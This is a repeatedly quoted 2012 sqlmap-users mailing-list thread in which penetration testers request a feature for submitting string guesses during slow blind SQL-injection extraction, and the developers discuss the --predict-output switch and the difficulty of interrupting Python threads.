> >>>>>> On 10 January 2012 16:42, ryan cartner <rya...@gm...>
> wrote:
> >>>>>>>
> >>>>>>> Not sure how difficult this would be to implement, or whether or
> not
> >>>>>>> anyone elses workflow would benefit from it, but I thought I'd
> throw it out
> >>>>>>> there.
> >>>>>>>
> >>>>>>> When sqlmap is retrieving characters for a string, it's often
> obvious
> >>>>>>> what the string is long before sqlmap retrieves it all. Would be
> nice if I
> >>>>>>> could stop it, submit a guess, and have sqlmap test that before
> continuing
> >>>>>>> on.
> >>>>>>>
> >>>>>>> I imagine this would be kinda tough with threads but I haven't
> >>>>>>> familiarized myself wtih the code enough to know.
> >>>>>>>
> >>>>>>>
> >>>>>>>
> ------------------------------------------------------------------------------
> >>>>>>> Write once. Port to many.
> >>>>>>> Get the SDK and tools to simplify cross-platform app development.
> >>>>>>> Create
> >>>>>>> new or port existing apps to sell to consumers worldwide. Explore
> the
> >>>>>>> Intel AppUpSM program developer opportunity.
> >>>>>>> appdeveloper.intel.com/join
> >>>>>>> http://p.sf.net/sfu/intel-appdev
> >>>>>>> _______________________________________________
> >>>>>>> sqlmap-users mailing list
> >>>>>>> sql...@li...
> >>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> >>>>>>>
> >>>>>>
> >>>>>>
> >>>>>>
> >>>>>>
> ------------------------------------------------------------------------------
> >>>>>> Write once. Port to many.
> >>>>>> Get the SDK and tools to simplify cross-platform app development.
> >>>>>> Create
> >>>>>> new or port existing apps to sell to consumers worldwide. Explore
> the
> >>>>>> Intel AppUpSM program developer opportunity.
> >>>>>> appdeveloper.intel.com/join
> >>>>>> http://p.sf.net/sfu/intel-appdev
> >>>>>> _______________________________________________
> >>>>>> sqlmap-users mailing list
> >>>>>> sql...@li...
> >>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> >>>>>>
> >>>>>
> >>>>>
> ------------------------------------------------------------------------------
> >>>>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a
> >>>>> complex
> >>>>> infrastructure or vast IT resources to deliver seamless, secure
> access
> >>>>> to
> >>>>> virtual desktops. With this all-in-one solution, easily deploy
> virtual
> >>>>> desktops for less than the cost of PCs and save 60% on VDI
> >>>>> infrastructure
> >>>>> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> >>>>>
> >>>>> _______________________________________________
> >>>>> sqlmap-users mailing list
> >>>>> sql...@li...
> >>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> >>>
> >>>
> >>>
> >>>
> >>> --
> >>> Miroslav Stampar
> >>> http://about.me/stamparm
> >>
> >>
> >>
> >>
> ------------------------------------------------------------------------------
> >> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a
> complex
> >> infrastructure or vast IT resources to deliver seamless, secure access
> to
> >> virtual desktops. With this all-in-one solution, easily deploy virtual
> >> desktops for less than the cost of PCs and save 60% on VDI
> infrastructure
> >> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> >> _______________________________________________
> >> sqlmap-users mailing list
> >> sql...@li...
> >> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
> >>
> >
> >
> >
> > --
> > Bernardo Damele A. G.
> >
> > Homepage: http://about.me/inquis
> > E-mail / Jabber: bernardo.damele (at) gmail.com
> > Mobile: +447788962949 (UK 07788962949)
> >
> >
> ------------------------------------------------------------------------------
> > Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> > infrastructure or vast IT resources to deliver seamless, secure access to
> > virtual desktops. With this all-in-one solution, easily deploy virtual
> > desktops for less than the cost of PCs and save 60% on VDI infrastructure
> > costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> > _______________________________________________
> > sqlmap-users mailing list
> > sql...@li...
> > https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>

Re: [sqlmap-users] Feature Request

[Robin W. <ro...@di...>]

On 11 January 2012 11:32, Bernardo Damele A. G.
<ber...@gm...> wrote:
> Hi Chris,
>
> You can tune txt/common-outputs.txt to your needs in order to make
> --predict-output more efficient for your test.
>
> Bernardo
>
> On 11 January 2012 11:29, Chris Oakley <chr...@gm...> wrote:
>> I think Ctrl+C is going to be the only way to do it reliably in Python.  I
>> wasn't actually aware of the --predict-output switch and will have a play,
>> but from the description it does sound like it falls short a little.  That
>> said, if there are higher priority features or bug fixes... it's not the end
>> of the world having to wait as it is :) - Chris
>

Not sure if it would work but what about having a thread on the side
that checked for keyboard input, if you hit a specific key it sets a
flag in a singleton. The worker threads check that singleton on each
iteration of the loop and if they see the flag set then they pause.
You then do the manual stuff and then resume the threads or kill them
as necessary.

Robin

>>
>> On 11 January 2012 08:56, Miroslav Stampar <mir...@gm...>
>> wrote:
>>>
>>> Hi again.
>>>
>>> Minor update. --predict-output switch will perform well only on start of
>>> outputs. So, it will greatly speed up the starting part with "Microsoft SQL
>>> Server" but the rest is done normally (won't go into detail why and how is
>>> this performed only for the beginning of the retrieved string).
>>>
>>> So, the idea with user contributed guesses is still on.
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>>
>>>
>>> On Wed, Jan 11, 2012 at 9:28 AM, Miroslav Stampar
>>> <mir...@gm...> wrote:
>>>>
>>>> Hi Hans.
>>>>
>>>> Basically, you are right. --predict-output is a good replacement for this
>>>> kind cases, but I am not sure if it's enough for Ryan and Chris.
>>>>
>>>> Also, i'll need to take a look into it and maybe upgrade it a bit as
>>>> there hasn't been development on it for more than a year.
>>>>
>>>> Kind regards,
>>>> Miroslav Stampar
>>>>
>>>> On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...> wrote:
>>>>>
>>>>> Hello everyone,
>>>>>
>>>>> Whats with --predict-output ??
>>>>> Maybe you could use that.
>>>>>
>>>>> Cheers
>>>>>
>>>>> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar
>>>>> <mir...@gm...>:
>>>>>
>>>>> Hi guys.
>>>>>
>>>>> This would be implemented long time ago only if Python wasn't such
>>>>> really bad about interrupting it's processes. Sadly, you can 'pause'
>>>>> (interrupt) them only by Ctrl+C. Now, I can put this there, but it will be
>>>>> clumsy at least.
>>>>>
>>>>> If you have other ideas how to deal with this problem, please tell
>>>>>
>>>>> Kind regards,
>>>>> Miroslav Stampar
>>>>>
>>>>> On Jan 10, 2012 5:50 PM, "Chris Oakley" <chr...@gm...>
>>>>> wrote:
>>>>>>
>>>>>> I'm sure that there are higher priorities than this, but I have to add
>>>>>> that this would be useful for me too.  As an example, on a recent test I was
>>>>>> grabbing the banner of the DBMS as a quick POC for a client.
>>>>>>
>>>>>> The banner was as follows:
>>>>>>
>>>>>> Banner:
>>>>>> ---
>>>>>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>>>>>>     Dec 16 2008 19:46:53
>>>>>>     Copyright (c) 1988-2003 Microsoft Corporation
>>>>>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>>>>>> ---
>>>>>>
>>>>>> This was a time based blind injection, so each of the above characters
>>>>>> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
>>>>>> "Microsoft Corporation" part is going to be, for example.  When each
>>>>>> character takes many queries with wait commands to retrieve, this can be
>>>>>> quite heavy on the DBMS.
>>>>>>
>>>>>> Not a huge deal, but if this feature made it into a future release, I
>>>>>> certainly wouldn't complain.
>>>>>>
>>>>>> Regards
>>>>>>
>>>>>> Chris
>>>>>>
>>>>>> On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:
>>>>>>>
>>>>>>> Not sure how difficult this would be to implement, or whether or not
>>>>>>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>>>>>>> there.
>>>>>>>
>>>>>>> When sqlmap is retrieving characters for a string, it's often obvious
>>>>>>> what the string is long before sqlmap retrieves it all. Would be nice if I
>>>>>>> could stop it, submit a guess, and have sqlmap test that before continuing
>>>>>>> on.
>>>>>>>
>>>>>>> I imagine this would be kinda tough with threads but I haven't
>>>>>>> familiarized myself wtih the code enough to know.
>>>>>>>
>>>>>>>
>>>>>>> ------------------------------------------------------------------------------
>>>>>>> Write once. Port to many.
>>>>>>> Get the SDK and tools to simplify cross-platform app development.
>>>>>>> Create
>>>>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>>>>> Intel AppUpSM program developer opportunity.
>>>>>>> appdeveloper.intel.com/join
>>>>>>> http://p.sf.net/sfu/intel-appdev
>>>>>>> _______________________________________________
>>>>>>> sqlmap-users mailing list
>>>>>>> sql...@li...
>>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>> ------------------------------------------------------------------------------
>>>>>> Write once. Port to many.
>>>>>> Get the SDK and tools to simplify cross-platform app development.
>>>>>> Create
>>>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>>>> Intel AppUpSM program developer opportunity.
>>>>>> appdeveloper.intel.com/join
>>>>>> http://p.sf.net/sfu/intel-appdev
>>>>>> _______________________________________________
>>>>>> sqlmap-users mailing list
>>>>>> sql...@li...
>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>
>>>>>
>>>>> ------------------------------------------------------------------------------
>>>>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a
>>>>> complex
>>>>> infrastructure or vast IT resources to deliver seamless, secure access
>>>>> to
>>>>> virtual desktops. With this all-in-one solution, easily deploy virtual
>>>>> desktops for less than the cost of PCs and save 60% on VDI
>>>>> infrastructure
>>>>> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
>>>>>
>>>>> _______________________________________________
>>>>> sqlmap-users mailing list
>>>>> sql...@li...
>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>>>
>>>
>>> --
>>> Miroslav Stampar
>>> http://about.me/stamparm
>>
>>
>>
>> ------------------------------------------------------------------------------
>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
>> infrastructure or vast IT resources to deliver seamless, secure access to
>> virtual desktops. With this all-in-one solution, easily deploy virtual
>> desktops for less than the cost of PCs and save 60% on VDI infrastructure
>> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>
>
>
> --
> Bernardo Damele A. G.
>
> Homepage: http://about.me/inquis
> E-mail / Jabber: bernardo.damele (at) gmail.com
> Mobile: +447788962949 (UK 07788962949)
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users

Re: [sqlmap-users] Feature Request

[Bernardo D. A. G. <ber...@gm...>]

Hi Chris,

You can tune txt/common-outputs.txt to your needs in order to make
--predict-output more efficient for your test.

Bernardo

On 11 January 2012 11:29, Chris Oakley <chr...@gm...> wrote:
> I think Ctrl+C is going to be the only way to do it reliably in Python.  I
> wasn't actually aware of the --predict-output switch and will have a play,
> but from the description it does sound like it falls short a little.  That
> said, if there are higher priority features or bug fixes... it's not the end
> of the world having to wait as it is :) - Chris
>
>
> On 11 January 2012 08:56, Miroslav Stampar <mir...@gm...>
> wrote:
>>
>> Hi again.
>>
>> Minor update. --predict-output switch will perform well only on start of
>> outputs. So, it will greatly speed up the starting part with "Microsoft SQL
>> Server" but the rest is done normally (won't go into detail why and how is
>> this performed only for the beginning of the retrieved string).
>>
>> So, the idea with user contributed guesses is still on.
>>
>> Kind regards,
>> Miroslav Stampar
>>
>>
>> On Wed, Jan 11, 2012 at 9:28 AM, Miroslav Stampar
>> <mir...@gm...> wrote:
>>>
>>> Hi Hans.
>>>
>>> Basically, you are right. --predict-output is a good replacement for this
>>> kind cases, but I am not sure if it's enough for Ryan and Chris.
>>>
>>> Also, i'll need to take a look into it and maybe upgrade it a bit as
>>> there hasn't been development on it for more than a year.
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>>
>>> On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...> wrote:
>>>>
>>>> Hello everyone,
>>>>
>>>> Whats with --predict-output ??
>>>> Maybe you could use that.
>>>>
>>>> Cheers
>>>>
>>>> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar
>>>> <mir...@gm...>:
>>>>
>>>> Hi guys.
>>>>
>>>> This would be implemented long time ago only if Python wasn't such
>>>> really bad about interrupting it's processes. Sadly, you can 'pause'
>>>> (interrupt) them only by Ctrl+C. Now, I can put this there, but it will be
>>>> clumsy at least.
>>>>
>>>> If you have other ideas how to deal with this problem, please tell
>>>>
>>>> Kind regards,
>>>> Miroslav Stampar
>>>>
>>>> On Jan 10, 2012 5:50 PM, "Chris Oakley" <chr...@gm...>
>>>> wrote:
>>>>>
>>>>> I'm sure that there are higher priorities than this, but I have to add
>>>>> that this would be useful for me too.  As an example, on a recent test I was
>>>>> grabbing the banner of the DBMS as a quick POC for a client.
>>>>>
>>>>> The banner was as follows:
>>>>>
>>>>> Banner:
>>>>> ---
>>>>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>>>>>     Dec 16 2008 19:46:53
>>>>>     Copyright (c) 1988-2003 Microsoft Corporation
>>>>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>>>>> ---
>>>>>
>>>>> This was a time based blind injection, so each of the above characters
>>>>> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
>>>>> "Microsoft Corporation" part is going to be, for example.  When each
>>>>> character takes many queries with wait commands to retrieve, this can be
>>>>> quite heavy on the DBMS.
>>>>>
>>>>> Not a huge deal, but if this feature made it into a future release, I
>>>>> certainly wouldn't complain.
>>>>>
>>>>> Regards
>>>>>
>>>>> Chris
>>>>>
>>>>> On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:
>>>>>>
>>>>>> Not sure how difficult this would be to implement, or whether or not
>>>>>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>>>>>> there.
>>>>>>
>>>>>> When sqlmap is retrieving characters for a string, it's often obvious
>>>>>> what the string is long before sqlmap retrieves it all. Would be nice if I
>>>>>> could stop it, submit a guess, and have sqlmap test that before continuing
>>>>>> on.
>>>>>>
>>>>>> I imagine this would be kinda tough with threads but I haven't
>>>>>> familiarized myself wtih the code enough to know.
>>>>>>
>>>>>>
>>>>>> ------------------------------------------------------------------------------
>>>>>> Write once. Port to many.
>>>>>> Get the SDK and tools to simplify cross-platform app development.
>>>>>> Create
>>>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>>>> Intel AppUpSM program developer opportunity.
>>>>>> appdeveloper.intel.com/join
>>>>>> http://p.sf.net/sfu/intel-appdev
>>>>>> _______________________________________________
>>>>>> sqlmap-users mailing list
>>>>>> sql...@li...
>>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>>
>>>>>
>>>>>
>>>>>
>>>>> ------------------------------------------------------------------------------
>>>>> Write once. Port to many.
>>>>> Get the SDK and tools to simplify cross-platform app development.
>>>>> Create
>>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>>> Intel AppUpSM program developer opportunity.
>>>>> appdeveloper.intel.com/join
>>>>> http://p.sf.net/sfu/intel-appdev
>>>>> _______________________________________________
>>>>> sqlmap-users mailing list
>>>>> sql...@li...
>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a
>>>> complex
>>>> infrastructure or vast IT resources to deliver seamless, secure access
>>>> to
>>>> virtual desktops. With this all-in-one solution, easily deploy virtual
>>>> desktops for less than the cost of PCs and save 60% on VDI
>>>> infrastructure
>>>> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
>>>>
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>> sql...@li...
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>>
>>
>> --
>> Miroslav Stampar
>> http://about.me/stamparm
>
>
>
> ------------------------------------------------------------------------------
> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
> infrastructure or vast IT resources to deliver seamless, secure access to
> virtual desktops. With this all-in-one solution, easily deploy virtual
> desktops for less than the cost of PCs and save 60% on VDI infrastructure
> costs. Try it free! http://p.sf.net/sfu/Citrix-VDIinabox
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>



-- 
Bernardo Damele A. G.

Homepage: http://about.me/inquis
E-mail / Jabber: bernardo.damele (at) gmail.com
Mobile: +447788962949 (UK 07788962949)

Re: [sqlmap-users] Feature Request

[Chris O. <chr...@gm...>]

I think Ctrl+C is going to be the only way to do it reliably in Python.  I
wasn't actually aware of the --predict-output switch and will have a play,
but from the description it does sound like it falls short a little.  That
said, if there are higher priority features or bug fixes... it's not the
end of the world having to wait as it is :) - Chris

On 11 January 2012 08:56, Miroslav Stampar <mir...@gm...>wrote:

> Hi again.
>
> Minor update. --predict-output switch will perform well only on start of
> outputs. So, it will greatly speed up the starting part with "Microsoft SQL
> Server" but the rest is done normally (won't go into detail why and how is
> this performed only for the beginning of the retrieved string).
>
> So, the idea with user contributed guesses is still on.
>
> Kind regards,
> Miroslav Stampar
>
>
> On Wed, Jan 11, 2012 at 9:28 AM, Miroslav Stampar <
> mir...@gm...> wrote:
>
>> Hi Hans.
>>
>> Basically, you are right. --predict-output is a good replacement for this
>> kind cases, but I am not sure if it's enough for Ryan and Chris.
>>
>> Also, i'll need to take a look into it and maybe upgrade it a bit as
>> there hasn't been development on it for more than a year.
>>
>> Kind regards,
>> Miroslav Stampar
>> On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...> wrote:
>>
>>> Hello everyone,
>>>
>>> Whats with --predict-output ??
>>> Maybe you could use that.
>>>
>>> Cheers
>>>
>>> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar <
>>> mir...@gm...>:
>>>
>>> Hi guys.
>>>
>>> This would be implemented long time ago only if Python wasn't such
>>> really bad about interrupting it's processes. Sadly, you can 'pause'
>>> (interrupt) them only by Ctrl+C. Now, I can put this there, but it will be
>>> clumsy at least.
>>>
>>> If you have other ideas how to deal with this problem, please tell
>>>
>>> Kind regards,
>>> Miroslav Stampar
>>> On Jan 10, 2012 5:50 PM, "Chris Oakley" < <chr...@gm...>
>>> chr...@gm...> wrote:
>>>
>>>> I'm sure that there are higher priorities than this, but I have to add
>>>> that this would be useful for me too.  As an example, on a recent test I
>>>> was grabbing the banner of the DBMS as a quick POC for a client.
>>>>
>>>> The banner was as follows:
>>>>
>>>> Banner:
>>>> ---
>>>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>>>>     Dec 16 2008 19:46:53
>>>>     Copyright (c) 1988-2003 Microsoft Corporation
>>>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>>>> ---
>>>>
>>>> This was a time based blind injection, so each of the above characters
>>>> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
>>>> "Microsoft Corporation" part is going to be, for example.  When each
>>>> character takes many queries with wait commands to retrieve, this can be
>>>> quite heavy on the DBMS.
>>>>
>>>> Not a huge deal, but if this feature made it into a future release, I
>>>> certainly wouldn't complain.
>>>>
>>>> Regards
>>>>
>>>> Chris
>>>>
>>>> On 10 January 2012 16:42, ryan cartner < <rya...@gm...>
>>>> rya...@gm...> wrote:
>>>>
>>>>> Not sure how difficult this would be to implement, or whether or not
>>>>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>>>>> there.
>>>>>
>>>>> When sqlmap is retrieving characters for a string, it's often obvious
>>>>> what the string is long before sqlmap retrieves it all. Would be nice if I
>>>>> could stop it, submit a guess, and have sqlmap test that before continuing
>>>>> on.
>>>>>
>>>>> I imagine this would be kinda tough with threads but I haven't
>>>>> familiarized myself wtih the code enough to know.
>>>>>
>>>>>
>>>>> ------------------------------------------------------------------------------
>>>>> Write once. Port to many.
>>>>> Get the SDK and tools to simplify cross-platform app development.
>>>>> Create
>>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>>> Intel AppUpSM program developer opportunity.
>>>>> <http://appdeveloper.intel.com/join>appdeveloper.intel.com/join
>>>>>  <http://p.sf.net/sfu/intel-appdev>http://p.sf.net/sfu/intel-appdev
>>>>> _______________________________________________
>>>>> sqlmap-users mailing list
>>>>>  <sql...@li...>
>>>>> sql...@li...
>>>>>  <https://lists.sourceforge.net/lists/listinfo/sqlmap-users>
>>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>>
>>>>>
>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> Write once. Port to many.
>>>> Get the SDK and tools to simplify cross-platform app development. Create
>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>> Intel AppUpSM program developer opportunity.
>>>> <http://appdeveloper.intel.com/join>appdeveloper.intel.com/join
>>>>  <http://p.sf.net/sfu/intel-appdev>http://p.sf.net/sfu/intel-appdev
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>>  <sql...@li...>sql...@li...
>>>>  <https://lists.sourceforge.net/lists/listinfo/sqlmap-users>
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>
>>>>
>>> ------------------------------------------------------------------------------
>>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
>>> infrastructure or vast IT resources to deliver seamless, secure access to
>>> virtual desktops. With this all-in-one solution, easily deploy virtual
>>> desktops for less than the cost of PCs and save 60% on VDI
>>> infrastructure
>>> costs. Try it free! <http://p.sf.net/sfu/Citrix-VDIinabox>
>>> http://p.sf.net/sfu/Citrix-VDIinabox
>>>
>>> _______________________________________________
>>> sqlmap-users mailing list
>>> sql...@li...
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>

Re: [sqlmap-users] Feature Request

[Miroslav S. <mir...@gm...>]

Hi again.

Minor update. --predict-output switch will perform well only on start of
outputs. So, it will greatly speed up the starting part with "Microsoft SQL
Server" but the rest is done normally (won't go into detail why and how is
this performed only for the beginning of the retrieved string).

So, the idea with user contributed guesses is still on.

Kind regards,
Miroslav Stampar

On Wed, Jan 11, 2012 at 9:28 AM, Miroslav Stampar <
mir...@gm...> wrote:

> Hi Hans.
>
> Basically, you are right. --predict-output is a good replacement for this
> kind cases, but I am not sure if it's enough for Ryan and Chris.
>
> Also, i'll need to take a look into it and maybe upgrade it a bit as there
> hasn't been development on it for more than a year.
>
> Kind regards,
> Miroslav Stampar
> On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...> wrote:
>
>> Hello everyone,
>>
>> Whats with --predict-output ??
>> Maybe you could use that.
>>
>> Cheers
>>
>> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar <
>> mir...@gm...>:
>>
>> Hi guys.
>>
>> This would be implemented long time ago only if Python wasn't such really
>> bad about interrupting it's processes. Sadly, you can 'pause' (interrupt)
>> them only by Ctrl+C. Now, I can put this there, but it will be clumsy at
>> least.
>>
>> If you have other ideas how to deal with this problem, please tell
>>
>> Kind regards,
>> Miroslav Stampar
>> On Jan 10, 2012 5:50 PM, "Chris Oakley" < <chr...@gm...>
>> chr...@gm...> wrote:
>>
>>> I'm sure that there are higher priorities than this, but I have to add
>>> that this would be useful for me too.  As an example, on a recent test I
>>> was grabbing the banner of the DBMS as a quick POC for a client.
>>>
>>> The banner was as follows:
>>>
>>> Banner:
>>> ---
>>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>>>     Dec 16 2008 19:46:53
>>>     Copyright (c) 1988-2003 Microsoft Corporation
>>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>>> ---
>>>
>>> This was a time based blind injection, so each of the above characters
>>> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
>>> "Microsoft Corporation" part is going to be, for example.  When each
>>> character takes many queries with wait commands to retrieve, this can be
>>> quite heavy on the DBMS.
>>>
>>> Not a huge deal, but if this feature made it into a future release, I
>>> certainly wouldn't complain.
>>>
>>> Regards
>>>
>>> Chris
>>>
>>> On 10 January 2012 16:42, ryan cartner < <rya...@gm...>
>>> rya...@gm...> wrote:
>>>
>>>> Not sure how difficult this would be to implement, or whether or not
>>>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>>>> there.
>>>>
>>>> When sqlmap is retrieving characters for a string, it's often obvious
>>>> what the string is long before sqlmap retrieves it all. Would be nice if I
>>>> could stop it, submit a guess, and have sqlmap test that before continuing
>>>> on.
>>>>
>>>> I imagine this would be kinda tough with threads but I haven't
>>>> familiarized myself wtih the code enough to know.
>>>>
>>>>
>>>> ------------------------------------------------------------------------------
>>>> Write once. Port to many.
>>>> Get the SDK and tools to simplify cross-platform app development. Create
>>>> new or port existing apps to sell to consumers worldwide. Explore the
>>>> Intel AppUpSM program developer opportunity.
>>>> <http://appdeveloper.intel.com/join>appdeveloper.intel.com/join
>>>>  <http://p.sf.net/sfu/intel-appdev>http://p.sf.net/sfu/intel-appdev
>>>> _______________________________________________
>>>> sqlmap-users mailing list
>>>>  <sql...@li...>sql...@li...
>>>>  <https://lists.sourceforge.net/lists/listinfo/sqlmap-users>
>>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>>
>>>>
>>>
>>>
>>> ------------------------------------------------------------------------------
>>> Write once. Port to many.
>>> Get the SDK and tools to simplify cross-platform app development. Create
>>> new or port existing apps to sell to consumers worldwide. Explore the
>>> Intel AppUpSM program developer opportunity.
>>> <http://appdeveloper.intel.com/join>appdeveloper.intel.com/join
>>>  <http://p.sf.net/sfu/intel-appdev>http://p.sf.net/sfu/intel-appdev
>>> _______________________________________________
>>> sqlmap-users mailing list
>>>  <sql...@li...>sql...@li...
>>>  <https://lists.sourceforge.net/lists/listinfo/sqlmap-users>
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>> ------------------------------------------------------------------------------
>> Ridiculously easy VDI. With Citrix VDI-in-a-Box, you don't need a complex
>> infrastructure or vast IT resources to deliver seamless, secure access to
>> virtual desktops. With this all-in-one solution, easily deploy virtual
>> desktops for less than the cost of PCs and save 60% on VDI infrastructure
>> costs. Try it free! <http://p.sf.net/sfu/Citrix-VDIinabox>
>> http://p.sf.net/sfu/Citrix-VDIinabox
>>
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>


-- 
Miroslav Stampar
http://about.me/stamparm

Re: [sqlmap-users] Feature Request

[Miroslav S. <mir...@gm...>]

Hi Hans.

Basically, you are right. --predict-output is a good replacement for this
kind cases, but I am not sure if it's enough for Ryan and Chris.

Also, i'll need to take a look into it and maybe upgrade it a bit as there
hasn't been development on it for more than a year.

Kind regards,
Miroslav Stampar
On Jan 11, 2012 9:11 AM, "Hans Wurst" <wur...@go...> wrote:

> Hello everyone,
>
> Whats with --predict-output ??
> Maybe you could use that.
>
> Cheers
>
> Am 11.01.2012 um 09:09 schrieb Miroslav Stampar <
> mir...@gm...>:
>
> Hi guys.
>
> This would be implemented long time ago only if Python wasn't such really
> bad about interrupting it's processes. Sadly, you can 'pause' (interrupt)
> them only by Ctrl+C. Now, I can put this there, but it will be clumsy at
> least.
>
> If you have other ideas how to deal with this problem, please tell
>
> Kind regards,
> Miroslav Stampar
> On Jan 10, 2012 5:50 PM, "Chris Oakley" <chr...@gm...>
> wrote:
>
>> I'm sure that there are higher priorities than this, but I have to add
>> that this would be useful for me too.  As an example, on a recent test I
>> was grabbing the banner of the DBMS as a quick POC for a client.
>>
>> The banner was as follows:
>>
>> Banner:
>> ---
>> Microsoft SQL Server  2000 - 8.00.2055 (Intel X86)
>>     Dec 16 2008 19:46:53
>>     Copyright (c) 1988-2003 Microsoft Corporation
>>     Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
>> ---
>>
>> This was a time based blind injection, so each of the above characters
>> took an average of 20 seconds to retrieve.  It's perfectly obvious what the
>> "Microsoft Corporation" part is going to be, for example.  When each
>> character takes many queries with wait commands to retrieve, this can be
>> quite heavy on the DBMS.
>>
>> Not a huge deal, but if this feature made it into a future release, I
>> certainly wouldn't complain.
>>
>> Regards
>>
>> Chris
>>
>> On 10 January 2012 16:42, ryan cartner <rya...@gm...> wrote:
>>
>>> Not sure how difficult this would be to implement, or whether or not
>>> anyone elses workflow would benefit from it, but I thought I'd throw it out
>>> there.
>>>
>>> When sqlmap is retrieving characters for a string, it's often obvious
>>> what the string is long before sqlmap retrieves it all. Would be nice if I
>>> could stop it, submit a guess, and have sqlmap test that before continuing
>>> on.
>>>
>>> I imagine this would be kinda tough with threads but I haven't
>>> familiarized myself wtih the code enough to know.
>>>
>>>
>>> ------------------------------------------------------------------------------
>>> Write once. Port to many.
>>> Get the SDK and tools to simplify cross-platform app development. Create
>>> new or port existing apps to sell to consumers worldwide. Explore the
>>> Intel AppUpSM program developer opportunity. appdeveloper.intel.com/join
